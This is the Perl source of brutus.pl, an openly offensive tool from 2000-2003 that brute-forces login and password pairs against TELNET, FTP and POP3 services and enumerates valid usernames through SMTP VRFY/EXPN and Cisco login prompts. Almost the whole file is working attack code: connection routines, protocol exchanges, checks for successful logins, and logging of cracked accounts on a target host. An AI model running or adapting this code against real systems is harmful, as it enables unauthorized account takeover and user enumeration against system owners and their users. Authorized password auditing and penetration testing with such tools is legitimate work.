#!/usr/bin/perl # # $Id: brutus.pl,v 1.3 2003/10/29 19:46:11 raptor Exp $ # # brutus.pl v0.9.0 - remote login and password bruteforce cracker # Copyright (c) 2000-2003 by Marco Ivaldi # # This program tries to break in remotely using login and password bruteforce # attacks against TELNET (23/tcp), FTP (21/tcp) and POP3 (110/tcp) services. # Login list generation through SMTP vrfy/expn and CISCO login information # leaks is also supported. # # It shouldn't be too difficult to add the support for other protocols: feel # free to send me your new modules. # # Net::Telnet Perl module is required (get it at CPAN modules/by-module/Net/). # Core written in one night, using one hand (other arm was broken). j00 pHEAR. # # external modules use Net::Telnet; use Getopt::Std; # default variables $name = "brutus.pl"; $version = "v0.9.0"; $description = "remote login and password bruteforce cracker"; $copyright = "Copyright (c) 2000-2003"; $author = "Marco Ivaldi "; $usage = "\n$name $version - $description\n$copyright by $author\n\n./brutus.pl -h host -l llist [-p plist] [-s service] [-t timeout] [-S] [-L log]\n\nhost\t: target host specification (ip address or fully-qualified domain name)\nllist\t: get login list from file (or login and password list for single mode)\nplist\t: get password list from file (or activate single mode if not supplied)\nservice\t: service type (telnet | ftp | pop3 | smtp | cisco), default is telnet\ntimeout\t: explicitly set connection timeout for slow/fast nets, default is 10s\nsleep\t: enable 1s of sleep time between each attempt, default is don't sleep\nlog\t: set the name of the optional log file where to put brutus.pl results\n\n"; $timeout = 10; # default timeout $service = "telnet"; # default service $sleep = 0; # sleep disabled $l = 0; # login counter $p = 0; # password counter $v = 0; # valid counter chomp($date = `date "+%m/%d, %H:%M:%S"`); # parse command line getopts("h:l:p:t:s:L:S"); die $usage # mandatory options if (!($opt_h) || !($opt_l)); $target = $opt_h; # target host $lfile = $opt_l; # login file $pfile = $opt_p; # password file $logfile = $opt_L; # log file $timeout = $opt_t # set timeout if $opt_t; $service = $opt_s # set service if $opt_s; $sleep = 1 # enable sleep if $opt_S; die "err: $lfile: no such file\n" if !(open LOGIN, "<$lfile"); # print start info to stdout/logfile $start = "\n\n--- Breaking on $target $service begin at $date ---\n"; print $start; if ($logfile) { die "err: $logfile: error writing to file\n" if !(open LOG, ">>$logfile"); print LOG $start; # flush log output select(LOG); $| = 1; select(STDOUT); } # double mode of operation (check every password for each login) if ($pfile) { $i = 0; die "err: $pfile: no such file\n" if !(open PASSWD, "<$pfile"); while () { chomp($plist[$i] = $_); $i++; } close PASSWD; while () { next if $_ eq "\n"; # skip empty login chomp($login = $_); $l++; foreach $password (@plist) { $p++; # FTP bruteforce is supported in double mode if ($service eq "ftp") { &scan_ftp("21"); sleep($sleep); # TELNET bruteforce is supported in double mode } elsif ($service eq "telnet") { &scan_telnet("23"); sleep($sleep); # cisco telnet may need this # POP3 bruteforce is supported in double mode } elsif ($service eq "pop3") { &scan_pop3("110"); sleep($sleep); # CISCO login discovery is NOT supported in double mode } elsif ($service eq "cisco") { die "err: double mode not supported w/CISCO\n"; # SMTP login discovery is NOT supported in double mode } elsif ($service eq "smtp") { die "err: double mode not supported w/SMTP\n"; # others } else { die "err: protocol $service not supported\n"; } } } # Single mode of operation (test equal login/password pairs or login-only) } else { while () { next if $_ eq "\n"; # skip empty login chomp($login = $_); $password = $login; $l++; $p++; # FTP bruteforce is supported in single mode if ($service eq "ftp") { &scan_ftp("21"); sleep($sleep); # TELNET bruteforce is supported in single mode } elsif ($service eq "telnet") { &scan_telnet("23"); sleep($sleep); # cisco telnet may need this # POP3 bruteforce is supported in single mode } elsif ($service eq "pop3") { &scan_pop3("110"); sleep($sleep); # CISCO login discovery is supported in single mode } elsif ($service eq "cisco") { &scan_cisco("23"); sleep($sleep); # cisco telnet may need this # SMTP login discovery is supported in single mode } elsif ($service eq "smtp") { &scan_smtp("25"); sleep($sleep); # others } else { die "err: protocol $service not supported\n"; } } } close LOGIN; # print end info to stdout/logfile chomp($date = `date "+%m/%d, %H:%M:%S"`); $total = "\n[T] $l login(s) and $p password(s) totally tested, $v account(s) found\n"; $total = "\n[T] $l login(s) totally tested, $v existant login(s) found\n" if ($service eq "smtp") or ($service eq "cisco"); $end = "--- Breaking on $target $service ended at $date ---\n"; print $total; print $end; if ($logfile) { print LOG $total; print LOG $end; close LOG; } exit(0); #################### local functions ####################### # logging routine sub log { # valid account found! if ($gotcha) { $v++; $ok = "[x] $login:$password is a VALID $service account for $target!\n"; print $ok; print LOG $ok if $logfile; # account is not good } else { $ko = "[ ] $login:$password is not good, moving on...\n"; print $ko; print LOG $ko if $logfile; } return; } # information leak (cisco|smtp) logging routine sub log_leak { # valid login found! if ($gotcha) { $v++; $ok = "$login\n"; print $ok; print LOG $ok if $logfile; } return; } # TELNET bruteforcer (default) sub scan_telnet { # connect to target host $t = new Net::Telnet ( Port => $_[0], Host => $target, Timeout => $timeout, Errmode => "return"); die "err: can't connect\n" if !$t; # wait for login prompt and send data (generic) $t->waitfor('/login[: ]*$/i', '/username[: ]*$/i'); $t->print($login); $gotcha = 1; # wait for password prompt and send data (generic) $t->waitfor('/password[: ]*$/i'); $t->print($password); # determine whether the account is valid or not (generic) (undef, $match) = $t->waitfor(-match => '/login[: ]*$/i', -match => '/username[: ]*$/i', -match => '/[\$%#>:][ ]?$/'); $gotcha = 0 if $match =~ /(login[: ]*$)|(username[: ]*$)/i; $gotcha = -1 if !($match =~ /[\$%#>:][ ]?$/) and $gotcha; # timeout handling if ($gotcha == -1) { $t->close; &scan_telnet($_[0]); return; } # log and close connection &log; $t->close; return; } # FTP bruteforcer sub scan_ftp { # connect to target host $t = new Net::Telnet ( Port => $_[0], Host => $target, Timeout => $timeout, Errmode => "return"); die "err: can't connect\n" if !$t; # wait for login prompt and send data do { $match = $t->getline } until ($match =~ /^220/); $t->print("USER $login"); $gotcha = 1; # wait for password prompt and send data do { $match = $t->getline } until ($match =~ /(^530)|(^421)|(^331)/); if ($match =~ /^331/) { $t->print("PASS $password"); # determine whether the account is valid or not $match = $t->getline; } $gotcha = 0 if $match =~ /(^530)|(^421)/; $gotcha = -1 if !($match =~ /^230/) and $gotcha; # timeout handling if ($gotcha == -1) { $t->close; &scan_ftp($_[0]); return; } # log and close connection &log; $t->close; return; } # POP3 bruteforcer sub scan_pop3 { # connect to target host $t = new Net::Telnet ( Port => $_[0], Host => $target, Timeout => $timeout, Errmode => "return"); die "err: can't connect\n" if !$t; # wait for login prompt and send data do { $match = $t->getline } until ($match =~ /^\+OK/); $t->print("USER $login"); $gotcha = 1; # wait for password prompt and send data do { $match = $t->getline } until ($match =~ /^\+OK/); $t->print("PASS $password"); # determine whether the account is valid or not $match = $t->getline; $gotcha = 0 if $match =~ /^\-ERR/; $gotcha = -1 if !($match =~ /^\+OK/) and $gotcha; # timeout handling if ($gotcha == -1) { $t->close; &scan_pop3($_[0]); return; } # log and close connection &log; $t->close; return; } # SMTP login discoverer sub scan_smtp { # connect to target host $t = new Net::Telnet ( Port => $_[0], Host => $target, Timeout => $timeout, Errmode => "return"); die "err: can't connect on login $login\n" if !$t; # wait for prompt and send data do { $match = $t->getline } until ($match =~ /^220/); $t->print("VRFY $login"); # you can also use EXPN $gotcha = 1; # determine whether the login exists or not $match = $t->getline; $gotcha = 0 if $match =~ /(^550)|(^251)/; $gotcha = -1 if !($match =~ /^250/) and $gotcha; # timeout handling if ($gotcha == -1) { $t->close; &scan_smtp($_[0]); return; } # log and close connection &log_leak; $t->close; return; } # CISCO login discoverer sub scan_cisco { # connect to target host $t = new Net::Telnet ( Port => $_[0], Host => $target, Timeout => $timeout, Errmode => "return"); die "err: can't connect on login $login\n" if !$t; # wait for login prompt and send data $t->waitfor('/username[: ]*$/i'); $t->print($login); $gotcha = 1; # determine whether the login exists or not (undef, $match) = $t->waitfor(-match => '/Username: /', -match => '/Password: /'); $gotcha = 0 if $match =~ /Username: /; $gotcha = -1 if !($match =~ /Password: /) and $gotcha; # timeout handling if ($gotcha == -1) { $t->close; &scan_cisco($_[0]); return; } # log and close connection &log_leak; $t->close; return; }